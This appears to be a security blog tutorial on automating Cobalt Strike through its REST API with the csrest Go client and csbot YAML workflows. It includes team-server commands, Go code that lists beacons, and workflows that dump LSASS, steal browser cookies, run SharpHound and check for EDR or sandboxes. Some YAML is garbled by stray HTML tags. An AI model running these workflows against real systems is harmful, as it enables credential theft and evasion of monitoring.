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Introduction:
Cobalt Strike has long been the penetration tester’s framework of choice for advanced adversary simulations, but its scripting capabilities were traditionally confined to Aggressor Script and Java. The recent release of its native REST API is a paradigm shift, breaking down these barriers and enabling security professionals to automate and extend their operations using virtually any programming language. This evolution opens the door for sophisticated, low-code workflows that integrate custom tools and orchestrate complex attack chains with unprecedented efficiency.
Learning Objectives:
- Understand the core architecture and capabilities of the new Cobalt Strike REST API.
- Learn how to deploy and configure the `csrest` Golang client and the `csbot` automation framework.
- Master the creation of automated workflows for beacon management, tool execution, and post-exploitation tasks.
You Should Know:
1. The Architectural Shift: From Aggressor to REST
The introduction of the REST API fundamentally changes how operators interact with a Cobalt Strike Team Server. Previously, automation was tightly coupled with the Aggressor Script console, a powerful but niche environment. The REST API exposes core Cobalt Strike functionality as a series of HTTP endpoints, allowing external applications to query data, execute commands, and manage beacons programmatically. This means you can now write automation scripts in Python, PowerShell, Golang, or any other language that can send HTTP requests, leveraging vast ecosystems of libraries and tools that were previously inaccessible.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Enable the REST API on your Team Server. This is typically done by adding the REST API configuration to your Team Server profile. You will need to generate a unique API token.
Command (Team Server Startup):
Example of adding REST API options to your Cobalt Strike start command ./teamserver your_server_ip your_password /path/to/your/profile.profile --rest-api-token your_secret_api_token --rest-api-port 50051
Step 2: Verify API Accessibility. Before coding, use a simple command-line tool like `curl` to ensure the API is running and accessible.
Command (Linux/WSL):
curl -k -H "Authorization: your_secret_api_token" https://your_teamserver:50051/api/version
Command (Windows PowerShell):
$headers = @{ Authorization = "your_secret_api_token" }
Invoke-RestMethod -Uri "https://your_teamserver:50051/api/version" -Headers $headers -SkipCertificateCheck
A successful call will return the Cobalt Strike API version.
2. Leveraging the `csrest` Golang Client
`csrest` is a native Golang client library that provides a structured, type-safe way to interact with the Cobalt Strike REST API. Instead of manually crafting HTTP requests and parsing JSON responses, you can import this library and use its intuitive functions to manage your team server. It abstracts away the low-level HTTP details, handling authentication, serialization, and error checking for you.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Install the `csrest` library. Assuming you have a Golang development environment set up, you can fetch the library directly.
Command:
go get github.com/Xenov-X/csrest
Step 2: Write a basic Go program to list current beacons. This is the “Hello World” equivalent for the API client.
Code Tutorial (main.go):
package main
import (
"context"
"fmt"
"log"
"github.com/Xenov-X/csrest"
)
func main() {
// Configure the client
config := csrest.Config{
BaseURL: "https://your_teamserver:50051",
Token: "your_secret_api_token",
// InsecureSkipVerify: true, // Use only for testing, ignores SSL cert validation
}
client, err := csrest.NewClient(config)
if err != nil {
log.Fatal(err)
}
// List beacons
beacons, err := client.ListBeacons(context.Background())
if err != nil {
log.Fatal(err)
}
fmt.Printf("Found %d beacons:\n", len(beacons))
for _, beacon := range beacons {
fmt.Printf(" - %s (PID: %d)\n", beacon.Computer, beacon.Pid)
}
}
Step 3: Build and run your automation script.
Command:
go build -o beacon-tracker main.go ./beacon-tracker
3. Orchestrating Workflows with `csbot` and YAML
While `csrest` is a powerful client, `csbot` sits on top of it as an automation framework. It allows you to define complex, multi-step red team workflows in simple YAML configuration files. This is the “low-code” aspect, where you can chain together commands, conditionals, and custom Binary Object Files (BOFs) without writing extensive Golang code. A YAML file defines a sequence of tasks that `csbot` will execute against specified beacons.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Define a workflow YAML file. Create a file, e.g., loot-and-lateral.yaml, that outlines the steps you want to automate.
Example YAML Configuration:
name: "Initial Recon and Loot" description: "Dump credentials and perform network reconnaissance on a newly checked-in beacon." tasks: - name: "Whoami / Logon Session Check" command: "net user %USERNAME% /domain" beacon: "any" Run on any available beacon <ul> <li>name: "Dump LSASS with a Custom BOF" command: "bof::minidump" args: ["lsass.dmp"] bof: "/tools/custom/minidump.x64.o" Path to your custom BOF file</p></li> <li><p>name: "Run SharpHound for Enumeration" command: "execute-assembly" args: ["/tools/SharpHound.exe", "-c", "All"] beacon: "last" Run on the beacon that completed the previous task
Step 2: Execute the workflow with `csbot`.
Command:
./csbot -config teamserver.config -workflow loot-and-lateral.yaml
4. Automating Post-Exploitation with BOFs and Built-ins
The combination of the REST API and these tools makes running post-exploitation tools, especially BOFs, trivial to automate. BOFs are small, compiled C programs that execute within a beacon’s memory, leaving minimal forensic traces. You can now build a library of BOFs for various tasks (e.g., registry query, token manipulation, event log clearing) and trigger them automatically based on predefined conditions in your `csbot` workflows.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Compile your C code as a BOF. Use a tool like `mingw` to cross-compile for the target architecture.
Command (Linux, compiling for x64 Windows):
x86_64-w64-mingw32-gcc -o pilfer.x64.o -c pilfer.c -masm=intel
Step 2: Integrate the BOF into a `csbot` task. Reference the local path to the compiled `.o` file in your YAML.
YAML Snippet:
- name: "Pilfer Browser Cookies" command: "bof::pilfer" bof: "/my_bofs/pilfer.x64.o"
5. Enhancing Operational Security (OpSec) Through Automation
Manual operations are prone to human error, which can lead to OpSec failures. Automated workflows ensure that actions are performed consistently and according to best practices every time. For instance, a workflow can be designed to always check for monitoring tools (e.g., EDR processes) before executing a potentially noisy exploit, or to automatically clear specific event logs after completing a task.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Create an “OpSec Pre-Flight Check” workflow. This workflow runs a series of checks on a new beacon before any other tasks are permitted.
Example YAML Tasks:
- name: "Check for Sysmon" command: "ps" The script would then parse the output of 'ps' looking for 'Sysmon' or similar. <ul> <li>name: "Check Sandbox/VM Artifacts" command: "bof::check_vm" bof: "/tools/check_vm.x64.o"</p></li> <li><p>name: "Abort if Unsafe" command: "exit" This would be a custom conditional in csbot to stop the workflow if previous checks failed.
Step 2: Make this pre-flight check a mandatory starting point for all other major workflows, ensuring no operator can accidentally skip critical OpSec steps.
What Undercode Say:
- The democratization of Cobalt Strike automation will lower the barrier to entry for sophisticated red team operations, allowing less experienced operators to run complex, repeatable attacks.
- This shift forces a change in defensive postures; blue teams can no longer rely solely on detecting manual interactive commands and must now develop analytics for detecting automated, script-driven beacon behavior.
The release of the Cobalt Strike REST API is more than a feature update; it’s a strategic inflection point. By decoupling automation from Aggressor Script, it empowers red teams to build more resilient, scalable, and sophisticated campaigns. The `csrest` and `csbot` tools are the first wave of this innovation, demonstrating how workflows can be codified and executed with machine-like precision. For defenders, the playing field has changed. The “hands-on-keyboard” activity that was often a key detection signal will be increasingly replaced by automated, fast-paced scripts, making behavioral analysis and process lineage tracking more critical than ever. The race between automated offense and automated defense has just accelerated.
Prediction:
The proliferation of REST API-driven security tools will become the standard across the red team and penetration testing landscape. Within two years, we predict most major C2 frameworks will offer similar API-driven automation capabilities, leading to an ecosystem of shareable, open-source “attack playbooks.” This will simultaneously increase the overall sophistication of attacks while commoditizing certain techniques, forcing a parallel evolution in automated defense and AI-driven security orchestration to keep pace with machine-speed adversaries.
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IT/Security Reporter URL:
Reported By: Aarondobie Github – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
